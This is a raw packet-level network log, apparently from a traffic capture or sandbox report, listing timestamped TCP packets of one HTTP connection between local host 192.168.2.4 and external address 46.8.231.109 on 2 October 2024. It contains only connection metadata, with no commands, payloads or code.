Oct 2, 2024 05:20:06.767132044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767136097 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767158985 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767170906 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767205000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767221928 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767257929 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767261028 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767273903 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767307997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767333984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767345905 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767373085 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767390966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767435074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767445087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767457008 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767462969 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767469883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767484903 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767493963 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767518997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767644882 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767683029 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767704010 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767714977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767739058 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767751932 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767775059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767811060 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767829895 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767839909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767863035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767873049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767908096 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767940044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767950058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767970085 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767982960 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768058062 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768098116 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768127918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768137932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768161058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768170118 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768172979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768184900 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768194914 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768213034 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768223047 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768378019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768388033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768414974 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768428087 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768651962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768690109 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768699884 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768702030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768727064 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768750906 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768771887 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768819094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768829107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768858910 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.768940926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768973112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.768984079 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769012928 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769020081 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769026041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769073963 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769082069 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769093037 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769121885 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769125938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769138098 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769172907 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769196033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769213915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769252062 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769306898 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769318104 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769326925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769342899 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769367933 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769383907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769424915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769435883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769480944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769480944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769539118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769584894 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769586086 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769596100 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769630909 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769639015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769653082 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769695044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769706011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769742012 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769892931 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769931078 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769939899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769949913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.769968987 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769978046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.769980907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.770018101 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.770042896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.770055056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.770102024 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.770127058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.770160913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.770167112 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.770173073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.770195007 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.770205975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.776987076 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777034998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777045965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777076960 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777086973 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777091026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777102947 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777128935 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777146101 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777183056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777194977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777204990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777220964 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777235031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777249098 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777864933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777905941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777909040 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777916908 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777942896 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777968884 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.777968884 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.777981997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778017044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778073072 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778084993 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778095007 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778120041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778131962 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778275967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778295040 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778343916 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778351068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778388977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778419018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778429985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778439999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778456926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778469086 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778489113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778516054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778528929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778552055 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778563976 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778794050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778812885 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778856039 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778862953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778899908 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778927088 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778938055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.778973103 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.778990984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779002905 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779012918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779038906 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779053926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779215097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779225111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779236078 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779252052 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779264927 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779277086 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779318094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779330015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779340982 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779361963 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779391050 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779419899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779433012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779443979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779468060 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779489994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779493093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779510975 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779520035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.779557943 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.779571056 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.846003056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846018076 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846030951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846067905 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.846102953 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.846261024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846272945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846282959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846295118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846307039 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846307039 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.846318960 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846333981 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.846358061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846363068 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.846373081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846379995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846386909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.846404076 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.846431971 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.856798887 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.856832027 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.856842041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.856894970 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.856921911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.856933117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.856942892 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.856954098 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.856981993 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.856982946 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857018948 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857081890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857094049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857104063 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857146978 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857146978 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857146978 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857186079 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857198000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857208967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857239962 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857239962 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857281923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857306957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857319117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857353926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857681990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857721090 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857733965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857750893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857772112 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857784033 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857814074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857825041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857865095 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857894897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857907057 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857917070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.857940912 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.857953072 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858206034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858246088 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858263969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858275890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858302116 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858314991 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858361959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858372927 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858382940 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858393908 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858402014 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858413935 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858449936 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858666897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858705997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858716011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858726025 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858753920 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858767033 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858791113 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858803034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858813047 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858829021 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858839035 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858867884 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.858902931 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.858942032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859297037 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859345913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859348059 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859358072 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859411955 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859412909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859426022 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859455109 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859467983 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859486103 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859497070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859522104 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859530926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859565973 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859582901 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859612942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859653950 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859674931 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859685898 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859733105 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859752893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859764099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859776020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859788895 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859792948 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859819889 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859848022 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.859941006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.859985113 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860027075 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860030890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860069036 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860081911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860093117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860124111 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860157013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860167980 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860208035 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860229015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860480070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860521078 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860544920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860554934 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860570908 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860580921 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860591888 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860601902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860635996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.860666037 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860682964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.860693932 CEST	80	49775	46.8.231.109	192.168.2.4
